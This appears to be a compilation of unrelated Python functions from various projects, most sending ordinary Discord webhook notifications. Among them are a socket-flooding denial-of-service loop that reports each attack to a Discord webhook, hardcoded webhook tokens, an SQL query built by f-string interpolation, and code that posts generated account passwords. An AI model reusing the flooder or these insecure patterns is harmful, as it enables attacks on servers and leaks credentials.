def discordWebhook(self, text, status, desp): DISCORD_WEBHOOK = self.DISCORD_WEBHOOK if 'DISCORD_WEBHOOK' in os.environ: DISCORD_WEBHOOK = os.environ['DISCORD_WEBHOOK'] if not DISCORD_WEBHOOK: return log.info(f'Discord 🚫') webhook = DiscordWebhook(url=DISCORD_WEBHOOK) embed = DiscordEmbed(title=f'{text} {status}', description=desp, color='0x82d609') webhook.add_embed(embed) response = webhook.execute() if (response.status_code == 200): log.info(f'Discord 🥳') else: log.error(f'Discord 😳\n{response}')
def send_event_webhook(request, event): format = '%b %d, %Y @ %H%Mz' url = request.build_absolute_uri(reverse("event", args=[event.id])) webhook = DiscordWebhook(url=os.getenv('EVENTS_WEBHOOK_URL')) embed = DiscordEmbed(title=f':calendar: {event.name}', description=event.description + f'\n**[Sign up for the event here!]({url})**', color=2966946) embed.add_embed_field( name='Start & End', value=f'{event.start.strftime(format)} - {event.end.strftime(format)}', inline=False, ) embed.add_embed_field( name='Presented by', value=event.host, ) embed.set_image(url=request.build_absolute_uri(event.banner)) webhook.add_embed(embed) webhook.execute()
def sendDiscordWebhook(self): logger.yellow("Sending Discord Webhook...") webhook = DiscordWebhook(url=self.discordWebhook, username="******", content="@everyone") embed = DiscordEmbed(title="New Theory Test Dates Found!", color=0x00FF00) embed.add_embed_field(name="Available Dates", value=str(self.availableDates)) embed.set_timestamp() webhook.add_embed(embed) webhook.execute() logger.green("Webhook Sent!")
def sendDiscordMessage(message, message2): if ThreadedStart.discord_hook != "": hook = DiscordWebhook(url=ThreadedStart.discord_hook) embed = DiscordEmbed(title='[REFLECTION ALERT]', description='', color=242424) hook.add_embed(embed) embed.add_embed_field(name='URL:', value=message) if message2 != "": embed.add_embed_field(name='CODE SNIPPET:', value=message2) hook.execute() else: print(message)
def announce_shit(msg="Unknown"): if not DISCORD_WEBHOOK_URL: vtlog.debug("No Discord Webhook url, skipping announcement...") return webhook = DiscordWebhook(url=DISCORD_WEBHOOK_URL, username="******") embed = DiscordEmbed(title="VTHell", color=5574409) embed.set_timestamp() embed.add_embed_field(name="Message", value=msg) webhook.add_embed(embed) webhook.execute()
async def report(self, ctx): # channel = self.client.get_channel(797576932249960498) webhook = DiscordWebhook( url= 'https://discord.com/api/webhooks/797588095780257802/l7rC9owUuIGQU2t-cJk5hxw-tj6aE3jc_aAcsVkrwBLFHzJT-v3K2pYg290NObwz9ARF', username="******") questions = [ "Entr your name?", "What is the problem that you suffer from?", "When the problem occurred?" ] answers = [] def check(m): return m.author == ctx.author and m.channel == ctx.channel for i in questions: await ctx.send(i) try: msg = await self.client.wait_for('message', timeout=120.0, check=check) except asyncio.TimeoutError: await ctx.send( 'You didn\'t answer in time, please be quicker next time!') return else: answers.append(msg.content) embed = DiscordEmbed( title='Bug', description="`Description bug`: \n {}.\nTime bag:\n{}".format( answers[1], answers[2]), url= f"https://discord.com/oauth2/authorize?client_id={self.client.user.id}&scope=bot&permissions=8", # timestamp=ctx.message.created_at ) embed.set_author(name=self.client.user, icon_url=self.client.user.avatar_url) embed.set_footer(text=ctx.author, icon_url=ctx.author.avatar_url) embed.set_thumbnail(url=ctx.author.avatar_url) webhook.add_embed(embed) response = webhook.execute()
async def on_command_error(ctx, error): #引数不足 if str( type(error) ) == "<class 'discord.ext.commands.errors.MissingRequiredArgument'>": return #コマンド不明はスルー #if str(type(error)) == "<class 'discord.ext.commands.errors.CommandNotFound'>": # return try: guildName = str(ctx.guild.name) except: guildName = "DM" errorLog = ("エラーが発生しました:" + str(error) + "\nServername:" + guildName + "\nName:" + str(ctx.author)) webhook = DiscordWebhook(url=webhookURL, content="@everyone") embed = DiscordEmbed(title='エラー', description=errorLog, color=0xff0000) webhook.add_embed(embed) webhook.execute()
def sendDiscordWebhook(url, title, message, color='default'): """Send messages to discord using webhook Args: url (str): Webhook URL title (str): Title of message message (str): Content of message color (str, optional): Color of message, list: 'red', 'green' or 'default'. Defaults to 'default'. Returns: list: Webhook response """ color_list = {'green': 89092, 'red': 8394756, 'default': 242424} webhook = DiscordWebhook(url=url) embed = DiscordEmbed(title=title, description=message, color=color_list[color]) webhook.add_embed(embed) return webhook.execute()
def process(self, event): time.sleep(1) with open(event.src_path) as f: lines = f.readlines() self.currentLinesCount = len(lines) newLines = lines[self.previousLinesCount:self.currentLinesCount] self.previousLinesCount = self.currentLinesCount for line in newLines: if "[CHAT] <" + Main.data['playername'] + "> ::" in line: command = line.partition("::")[2] if command.startswith("msg "): message = command[4:] webhook = DiscordWebhook(url=Main.data['webhook']) embed = DiscordEmbed(title="Message de " + Main.data['playername'], description=message, color=242424) webhook.add_embed(embed) webhook.execute()
def run(): data = random._urandom(threads) while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) s.send(data) for x in range(times): s.send(data) else: print('Attacking {} at Port {}'.format(ip, port)) webhook = DiscordWebhook(url='https://discord.com/api/webhooks/833943996002861087/xPi3Fbn9L7tiBAvtjrr5tVR_kNkDacEY5gqPFLBFPZXnmSApWA8bK5nD8mQrBIJd39pd') embed = DiscordEmbed(title='Attacking', description=f'Attacking {ip}\nport {port}\npacket {time}\nthread {threads}', color='000000') webhook.add_embed(embed) response = webhook.execute() except socket.error: s.close() print('[VADIM MESSAGE] SERVER ERROR CONNECTION MAYBE SERVER ERROR')
def yahoo_email_spam(account, winner): webhook_url = config.WEBHOOK webhook = DiscordWebhook(url=webhook_url) embed = DiscordEmbed(title='Yahoo Account Spam Moved!', description='', color=242424) embed.add_embed_field(name='Email', value=account['email']) embed.add_embed_field(name='Winner', value=winner) webhook.add_embed(embed) if webhook_url != "": webhook.execute()
def send_discord_message(cls, text, image_url=None, webhook_url=None): try: webhook = DiscordWebhook(url=webhook_url, content=text) if image_url is not None: embed = DiscordEmbed() embed.set_timestamp() embed.set_image(url=image_url) webhook.add_embed(embed) response = webhook.execute() return True except Exception as exception: logger.error('Exception:%s', exception) logger.error(traceback.format_exc()) return False
async def on_guild_join(guild): try: webhook = DiscordWebhook(url=config["logchannel"], avatar_url=str(guild.icon_url), username=str(guild.name)) embed = DiscordEmbed(title="Joined guild", description=str(guild.id), color=0xaaff88) embed.set_author(name=str(guild), icon_url=str(guild.icon_url)) embed.set_footer(text=str(time.strftime('%X %x %Z'))) webhook.add_embed(embed) webhook.execute() except: pass
def yahoo_email_forwarded(email, forward): webhook_url = config.WEBHOOK webhook = DiscordWebhook(url=webhook_url) embed = DiscordEmbed(title='Yahoo Account Forwarded!', description='', color=242424) embed.add_embed_field(name='Email', value=email) embed.add_embed_field(name='Forward', value=forward) webhook.add_embed(embed) if webhook_url != "": webhook.execute()
def Webhook(BeatmapId, ActionName, session): """Beatmap rank webhook.""" URL = UserConfig["Webhook"] if URL == "": #if no webhook is set, dont do anything return headers = {'Content-Type': 'application/json'} mycursor.execute(f"SELECT song_name, beatmapset_id FROM beatmaps WHERE beatmap_id = {BeatmapId}") mapa = mycursor.fetchall() mapa = mapa[0] if ActionName == 0: TitleText = "unranked :(" if ActionName == 2: TitleText = "ranked!" if ActionName == 5: TitleText = "loved!" webhook = DiscordWebhook(url=URL) #creates webhook # me trying to learn the webhook #EmbedJson = { #json to be sent to webhook # "image" : f"https://assets.ppy.sh/beatmaps/{mapa[1]}/covers/cover.jpg", # "author" : { # "icon_url" : f"https://a.ussr.pl/{session['AccountId']}", # "url" : f"https://ussr.pl/b/{BeatmapId}", # "name" : f"{mapa[0]} was just {TitleText}" # }, # "description" : f"Ranked by {session['AccountName']}", # "footer" : { # "text" : "via RealistikPanel!" # } #} #requests.post(URL, data=EmbedJson, headers=headers) #sends the webhook data embed = DiscordEmbed(description=f"Ranked by {session['AccountName']}", color=242424) #this is giving me discord.py vibes embed.set_author(name=f"{mapa[0]} was just {TitleText}", url=f"https://shibui.pw/b/{BeatmapId}", icon_url=f"https://a.shibui.pw/{session['AccountId']}") embed.set_footer(text="via Shibui Panel") embed.set_image(url=f"https://assets.ppy.sh/beatmaps/{mapa[1]}/covers/cover.jpg") webhook.add_embed(embed) print(" * Posting webhook!") webhook.execute() RAPLog(session["AccountId"], f"ranked/unranked the beatmap {mapa[0]} ({BeatmapId})")
def on_status(self, status): print(status.user.screen_name + ' tweetet: ' + status.text + '\n' + 'Follower Count' + str(status.user.followers_count)) print('Bio: ' + str(status.user.description)) print(status.user.profile_image_url) usernames = status.user.screen_name tweet_contents = status.text follower_numbers = str(status.user.followers_count) tweet_urls = 'https://twitter.com/xCrUnk3/status/' + str(status.id) bio_users = str(status.user.description) webhook = DiscordWebhook( url= 'https://discord.com/api/webhooks/790197755632418846/PgpMHTX_KOFVwczgsF6lInniJBhyjL3lU4oT-9nUicUoPdumvEI50CZbEIPcL0m8cPVZ' ) embed = DiscordEmbed(title=usernames, description=tweet_contents, color=242424) webhook.add_embed(embed) response = webhook.execute()
def discordWebhook(self, text, status, desp): DISCORD_WEBHOOK = self.DISCORD_WEBHOOK if 'DISCORD_WEBHOOK' in os.environ: DISCORD_WEBHOOK = os.environ['DISCORD_WEBHOOK'] if not DISCORD_WEBHOOK: log.info(f'Discord SKIPPED') return False webhook = DiscordWebhook(url=DISCORD_WEBHOOK) embed = DiscordEmbed(title=f'{text} {status}', description=desp, color='03b2f8') webhook.add_embed(embed) response = webhook.execute() if (response.status_code == 200): log.info(f'Discord SUCCESS') else: log.error(f'Discord FAILED\n{response}') return True
def handle(self, *args, **options): today_date = timezone.now().date() screenings = Screening.objects.filter(type__in=['telephonic', 'video_call', 'voice_call', 'f2f']).filter( status='scheduled').filter(start_date__date=today_date) for screening in screenings: text = "CTB:{0} :: Round:{1} :: {2} :: {3} :: {4} :: {5} :: {6}" \ .format(screening.ctb.full_name, screening.round, screening.get_type_display(), screening.start_date.strftime('%d/%m/%Y::%H:%M EST'), screening.consultant, screening.submission.client, screening.marketer) webhook = DiscordWebhook(url=discord_url, username=screening.submission.lead.marketer.team.name, content="**The following interview has been scheduled for today**") embed = DiscordEmbed(description=text, color=242424) webhook.add_embed(embed) webhook.execute()
def send_webhook(webhookLink,productName,sizeList): # price_format = '¥{}'.format(price) # embed webhook = DiscordWebhook(url=webhookLink, username='******',avatar_url='https://cdn.cybersole.io/media/discord-logo.png') embed = DiscordEmbed(title=productName, description='', color=65280) # embed.add_embed_field(name='Price', value=price_format,inline=False) for index in range(len(sizeList)): # carLink = 'https://undefeated.com/cart/{}:1'.format(idList[index]) # value_format = '[{}]({})'.format(idList[index],carLink) embed.add_embed_field(name=index,value=sizeList[index]) embed.set_footer(text='AugusAIO',icon_url='https://cdn.discordapp.com/attachments/569722032137437191/677350898556600355/kobe.jpg') embed.set_timestamp() # embed.set_thumbnail(url=hypePicLink) webhook.add_embed(embed) response = webhook.execute() print("数据发送中,请稍后...") if response.status_code == 204: print('恭喜🎉!!!Moutai预约城市更新通知发送成功!') else: print('很遗憾😭...Moutai预约城市更新通知发送失败,请检查输入参数.')
def discord_cdn(cls, byteio=None, filepath=None, filename=None, webhook_url=None, content='', retry=True): data = None if webhook_url is None: webhook_url = webhook_list[random.randint(0, 9)] # sjva 채널 try: webhook = DiscordWebhook(url=webhook_url, content=content) if byteio is None and filepath is not None: import io with open(filepath, 'rb') as fh: byteio = io.BytesIO(fh.read()) webhook.add_file(file=byteio.getvalue(), filename=filename) embed = DiscordEmbed() response = webhook.execute() data = None if type(response) == type([]): if len(response) > 0: data = response[0].json() else: data = response.json() if data is not None and 'attachments' in data: target = data['attachments'][0]['url'] if requests.get(target).status_code == 200: return target if retry: time.sleep(1) return cls.discord_proxy_image_localfile(filepath, retry=False) except Exception as exception: logger.error('Exception:%s', exception) logger.error(traceback.format_exc()) if retry: time.sleep(1) return cls.discord_proxy_image_localfile(filepath, retry=False)
def discord_proxy_image(cls, image_url, webhook_url=None, retry=True): #2020-12-23 #image_url = None if image_url == '' or image_url is None: return data = None if webhook_url is None or webhook_url == '': webhook_url = webhook_list[random.randint(10, len(webhook_list) - 1)] # sjva 채널 try: from framework import py_urllib webhook = DiscordWebhook(url=webhook_url, content='') embed = DiscordEmbed() embed.set_timestamp() embed.set_image(url=image_url) webhook.add_embed(embed) import io byteio = io.BytesIO() webhook.add_file(file=byteio.getvalue(), filename='dummy') response = webhook.execute() data = None if type(response) == type([]): if len(response) > 0: data = response[0].json() else: data = response.json() if data is not None and 'embeds' in data: target = data['embeds'][0]['image']['proxy_url'] if requests.get(target).status_code == 200: return target else: return image_url else: raise Exception(str(data)) except Exception as exception: logger.error('Exception:%s', exception) logger.error(traceback.format_exc()) if retry: time.sleep(1) return cls.discord_proxy_image(image_url, webhook_url=None, retry=False) else: return image_url
def discord(u): global commitMadeToday i = 0 for e in r.log_default(): #creates embed embed = DiscordEmbed(title="Today's Updates", url=u, color=242424) if e.date.date() == today: if e: # If a change has been made today, set this variable to True commitMadeToday = True webhook.add_embed(embed) #adds embed to the webhook if commitMadeToday == False: webhook.content = "No changes today." #execute the webhook webhook.execute()
def ad(): if not adbody: print ("no Ad to Display") else: print ("Ad found") webhook = DiscordWebhook(url=webhookurl) # create embed object for webhook embed = DiscordEmbed(title=adtitle, description=adbody, color=16711931) embed.set_footer(text='Research by '+author, icon_url=footerimg) embed.set_thumbnail(url=adthumb) #add embed object to webhook webhook.add_embed(embed) webhook.execute() research = '' webhook.remove_embed(0) time.sleep(2)
def publish_message_to_discord(webhook_url, content, embed=None, embed_fields=None): webhook = DiscordWebhook(url=webhook_url, content=content) if embed is not None: embed = DiscordEmbed( title=embed.get('title'), description=embed.get('description'), url=embed.get('url'), color=embed.get('color'), ) if embed_fields: for embed_field in embed_fields: embed.add_embed_field( name=embed_field.get('name'), value=embed_field.get('value'), ) webhook.add_embed(embed) response = webhook.execute() return response
def send_war_nag(config, current_war, member_list): nag_config = WarNagConfig(config, current_war, member_list) if nag_config.abort or (nag_config.naughty_member_list == ''): return True webhook = DiscordWebhook(url=nag_config.webhook_url) # add list of naughty users as embed embed object to webhook embed = DiscordEmbed( title=nag_config.nag_header, description=nag_config.naughty_member_list, color = int('0xff5500', 16) ) if nag_config.quit_member_list: webhook.add_embed(embed) embed = DiscordEmbed( title=config['strings']['discord-header-war-quit'].format(), description=nag_config.quit_member_list, color = int('0x660000', 16) ) embed.set_footer(text='crtools v{}'.format(__version__)) embed.set_timestamp() webhook.add_embed(embed) try: logger.info('Sending war nag to Discord') webhook.execute() except ConnectionError as e: logger.error('Connection to discord failed. Sending war nag webhook failed.') return False return True
def notify_camera(rcon: RecordedRcon, struct_log): send_to_discord_audit(message=struct_log["message"], by=struct_log["player"]) try: if hooks := get_prepared_discord_hooks("camera"): embeded = DiscordEmbed( title=f'{struct_log["player"]} - {struct_log["steam_id_64_1"]}', description=struct_log["sub_content"], color=242424, ) for h in hooks: h.add_embed(embeded) h.execute() except Exception: logger.exception("Unable to forward to hooks") config = CameraConfig() if config.is_broadcast(): temporary_broadcast(rcon, struct_log["message"], 60) if config.is_welcome(): temporary_welcome(rcon, struct_log["message"], 60)
def send_message(self, record, url): from discord_webhook import DiscordWebhook, DiscordEmbed webhook = None # If not a multiline error, add embeds if "\n" not in record.message: webhook = DiscordWebhook(url) embed = DiscordEmbed() embed.add_embed_field(name='File', value=record.filename, inline=True) embed.add_embed_field(name='Level', value=record.levelname, inline=True) embed.add_embed_field(name='Message', value=record.message, inline=True) # add embed object to webhook webhook.add_embed(embed) else: webhook = DiscordWebhook(url, content=record.message) webhook.execute()
def message_post(pw_status, monitor_store_url): #Setting up webhoook link + webhook name webhook = DiscordWebhook(url=WebhookUrl, username='******') #Putting the site url to a string, setting it to title, setting title link to the site and setting the pw status as description. embed = DiscordEmbed(title=str(monitor_store_url), description='**' + pw_status + '**', color=0x00FF00, url=monitor_store_url) embed.set_footer( text='https://github.com/DRB02/Your-first-sneaker-monitor') embed.set_timestamp() #Adding all the embed lines to the webhook. webhook.add_embed(embed) #Sending the webhook webhook.execute() #Printing in console when the webhook is successfully sent. print('[SUCCESS] --> Successfully sent success webhook!')
def send_webhook(webhook_url, email, passwd): hook = DiscordWebhook( url=webhook_url, username="******", avatar_url='https://avatars1.githubusercontent.com/u/38296319?s=460&v=4' ) color = 15957463 embed = DiscordEmbed( title='Account successfully created!', color=color, url='https://github.com/rtunaboss/SoleboxAccountGenerator', ) embed.set_footer( text= f'BONZAY Solebox • {datetime.datetime.now().strftime("%Y-%m-%d %H:%M")}', icon_url= 'https://cdn.discordapp.com/attachments/527830358767566848/622854816120569887/Bonzay.png' ) embed.add_embed_field(name='Username', value=f'{email}') embed.add_embed_field(name='Password', value=f'||{passwd}||', inline=False) hook.add_embed(embed) hook.execute()
def postStatsToDiscord(torrentsToRemove): totalSize = 0 for cTor in torrentsToRemove: totalSize = totalSize + cTor.torrent.completed webhook = DiscordWebhook( url=DISCORD_WEBHOOK, content="_____\n`Total size on disk removed:` **" + str(size(totalSize, system=alternative)) + "**") embed = DiscordEmbed(description='The following torrents were deleted:', color=3589207) for cTor in torrentsToRemove: if cTor.timeExceeded: timeExceeded = f" :small_orange_diamond: *Max time of {normalize_seconds(QBIT_ABSOLUTE_TIME_DELAY)} exceeded* :small_orange_diamond: *Ratio: {round(cTor.torrent.ratio, 2)}*" movieSize = str(size(cTor.torrent.completed, system=alternative)) embed.add_embed_field( name=f":movie_camera: {cTor.torrent.name}", value=f":small_blue_diamond: {movieSize}{timeExceeded}", inline=False) else: movieSize = str(size(cTor.torrent.completed, system=alternative)) embed.add_embed_field(name=f":movie_camera: {cTor.torrent.name}", value=f":small_blue_diamond: {movieSize}", inline=False) embed.set_timestamp() webhook.add_embed(embed) try: webhook.execute() except Exception as e: print( f"Total size on disk removed: {str(size(totalSize, system=alternative))}" ) print("WARNING: Discord webhook is not valid - or was not specified!")